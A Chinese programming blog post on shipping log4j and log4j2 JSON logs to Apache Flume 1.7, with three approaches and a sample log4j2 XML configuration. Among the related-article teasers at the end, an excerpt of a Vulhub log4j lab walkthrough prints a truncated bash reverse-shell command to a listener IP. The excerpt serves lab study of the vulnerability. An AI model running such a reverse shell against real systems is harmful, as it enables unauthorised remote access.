log4j -----flume

2024-06-16 15:08
文章标签 log4j flume

本文主要是介绍log4j -----flume,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

通过log4j \log4j2传输 json到 flume1.7


方式一:使用avro + flume-ng-log4jappender + 重写appender

      log4j.appender.flume=com.log.SubLog4jAppender 
      message和stackTrace 以及自定字段 hostName----->封装json数据----->
      flumeEvent = EventBuilder.withBody(msg, Charset.forName("UTF8"), hdrs);


方式二:使用tcp +logststash-gelf + flume源码SystemLogUtil

            logststash-gelf 的\u0000刚好替换掉 flume tcp的 \n (大小可能有其他影响)

方式三:取用logststash-gelf的构造JSON其他同[方式一]相同

[方式二]有重连,[方式一]+[方式三]的重连问题 https://issues.apache.org/jira/browse/FLUME-2186


log4j2 

org.apache.logging.log4j.core.layout

public byte[] toByteArray(LogEvent event) {byte[] bytes = this.getBytes(this.toSerializable(event));return bytes;// return bytes.length > this.compressionThreshold?this.compress(bytes):bytes;
}

com.log2.GelfLayout2
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN" monitorInterval="300"  packages="com.log2">
<Appenders><Console name="Console" target="SYSTEM_OUT"><PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/></Console><Flume name="eventLogger" compress="false"><Agent host="192.168.56.103" port="6666"/><GelfLayout2/></Flume>
</Appenders>
<Loggers><Root level="ERROR"><AppenderRef ref="eventLogger" /><AppenderRef ref="Console"/></Root>
</Loggers>
</Configuration>





这篇关于log4j -----flume的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1066782

相关文章

flume系列之:查看flume系统日志、查看统计flume日志类型、查看flume日志

遍历指定目录下多个文件查找指定内容 服务器系统日志会记录flume相关日志 cat /var/log/messages |grep -i oom 查找系统日志中关于flume的指定日志 import osdef search_string_in_files(directory, search_string):count = 0

flume系列之:记录一次flume agent进程被异常oom kill -9的原因定位

flume系列之:记录一次flume agent进程被异常oom kill -9的原因定位 一、背景二、定位问题三、解决方法 一、背景 flume系列之:定位flume没有关闭某个时间点生成的tmp文件的原因,并制定解决方案在博主上面这篇文章的基础上,在机器内存、cpu资源、flume agent资源都足够的情况下,flume agent又出现了tmp文件无法关闭的情况 二、

android两种日志获取log4j

android   log4j 加载日志使用方法; 先上图: 有两种方式: 1:直接使用架包 加载(两个都要使用); 架包:android-logging-log4j-1.0.3.jar 、log4j-1.2.15.jar  (说明:也可以使用架包:log4j-1.2.17.jar)  2:对架包输入日志的二次封装使用; 1:直接使用 log4j 日志框架获取日志信息: A:配置 日志 文

log4j靶场,反弹shell

1.用vulhub靶场搭建,首先进入目录CVE-2021-44228中,docker启动命令 2.发现端口是8983,浏览器访问http://172.16.1.18:8983/ 3.用dnslog平台检测dns回显,看看有没有漏洞存在 4.反弹shell到kali(ip为172.16.1.18)的8888端口 bash -i >& /dev/tcp/172.16.1.18

打通实时流处理log4j-flume-kafka-structured-streaming

大数据技术与架构 点击右侧关注,大数据开发领域最强公众号! 暴走大数据 点击右侧关注,暴走大数据! 模拟产生log4j日志 jar包依赖 pom.xml 12345678910111213<dependency><groupId>log4j</groupId><artifactId>log4j</artifactId></dependency><depe

Spark Streaming整合log4j、Flume与Kafka的案例

点击上方蓝色字体,选择“设为星标” 回复”资源“获取更多资源 来源:作者TAI_SPARK,http://suo.im/5w7LF8 大数据技术与架构 点击右侧关注,大数据开发领域最强公众号! 暴走大数据 点击右侧关注,暴走大数据! 1.框架 2.log4j完成模拟日志输出 设置模拟日志格式,log4j.properties: log4j.rootLogger = INFO,stdo

基于实际业务场景下的Flume部署

点击上方蓝色字体,选择“设为星标” 回复”资源“获取更多资源 大数据技术与架构 点击右侧关注,大数据开发领域最强公众号! 暴走大数据 点击右侧关注,暴走大数据! 有这样一个场景,我们要基于某个web服务实时持续收集用户行为数据; 再实施方案前,我们做了以下的准备工作 (不细说) web服务端部署nginx,用于收集用户行为并有形成log (172.17.111.111)我们数据平台是部

日志框架log4j打印异常堆栈信息携带traceId,方便接口异常排查

一、异常堆栈无traceId 排查定位问题异常痛苦        在日常项目开发中,我们会自定义一个traceId方便,链路追踪。在log4j2.xml 我们可能是这样去配置日志打印格式。 <Console name="CONSOLE" target="SYSTEM_OUT"><PatternLayoutpattern="${APP_NAME} %-d{yyyy-MM-dd HH:mm:ss}

log4j 打印sql,按日期生成文件,生成文件位置

1、 log4j 打印sql 要把日志等级调成debug才会显示sql log4j.rootLogger=info,Console      Console   log4j.appender.Console=org.apache.log4j.ConsoleAppender   log4j.appender.Console.layout=org.apache.log4j.Patte

log4j:WARN No appenders could be found for logger解决方法

问题: log4j:WARN No appenders could be found for logger(org.springframework.web.context.ContextLoader). log4j:WARN Please initialize the log4j system properly.     未找到log4j,未初始化log4j。 解决方法: <!-- 以下